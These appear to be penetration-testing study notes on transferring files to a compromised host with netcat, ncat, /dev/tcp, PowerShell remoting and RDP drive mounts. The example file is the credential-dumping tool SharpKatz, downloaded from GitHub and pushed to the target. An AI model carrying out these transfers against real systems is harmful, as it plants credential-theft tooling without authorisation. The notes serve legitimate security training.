# File Transfers with Netcat and Ncat ## Listener on compromised target - setup listener on compromised target ```bash #example using netcat nc -lp 8000 > SharpKatz.exe #example using ncat ncat -lp 8000 --recv-only > SharpKatz.exe ``` - send file from Kali host to listener on target ```bash wget -q https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_x64/SharpKatz.exe #download file #example using netcat to send file to listener nc -q 0 <target_ip> 8000 < SharpKatz.exe #-q 0 closes connection once it finishes #example using ncat to send file to listener ncat --send-only <target_ip> 8000 < SharpKatz.exe ``` ## Send file from Kali host as input to nc/ncat - send file as input to nc/ncat on Kali host ```bash #example using netcat to send file sudo nc -lp 443 -q 0 < SharpKatz.exe #example using ncat to send file sudo ncat -lp 443 --send-only < SharpKatz.exe ``` - receive file on compromised target ```bash #example using netcat to receive file nc <kali_host_ip> 443 > SharpKatz.exe #example using ncat to receive file ncat <kali_host_ip> 443 --recv-only > SharpKatz.exe #example using /dev/tcp/ to receive file cat < /dev/tcp/<kali_host_ip>/<port> > SharpKatz.exe ``` # File Transfers with PowerShell Session - PowerShell remoting allows one to execute scripts or commands on a remote computer using a PowerShell session - administrative access is needed or membership in the Remote Management Users group - Typical ports: TCP/5985 for HTTP listener and TCP/5986 for HTTPS listener ```powershell whoami hostname test-NetConnection -ComputerName DATABASE01 -Port 5985 #confirm winrm port TCP/5985 is open on DATABASE01 ``` ```powershell #create a powershell remoting session to DATABSE01 $Session = New-PSSession -ComputerName DATABASE01 #copy file from localhost to DATABSE01 Session Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop #copy file from DATABSE01 Session to localhost Copy-Item -Path "C:\Users\Administrator\Desktop\target.txt" -Destination C:\ -FromSession $Session ``` # File Transfers with RDP ```bash #mount a local resource on target RDP server rdesktop <target_ip> -d HTB -u administrator -p '<password>' -r disk:linux='/home/user/rdesktop' #mount linux folder using rdesktop xfreerdp /v:<target_ip> /d:HTB /u:administrator /p:'<password>' /drive:linux,/home/user/rdesktop #mount linux folder using xfreerdp ``` - `mstsc.exe` is a native Windows remote desktop client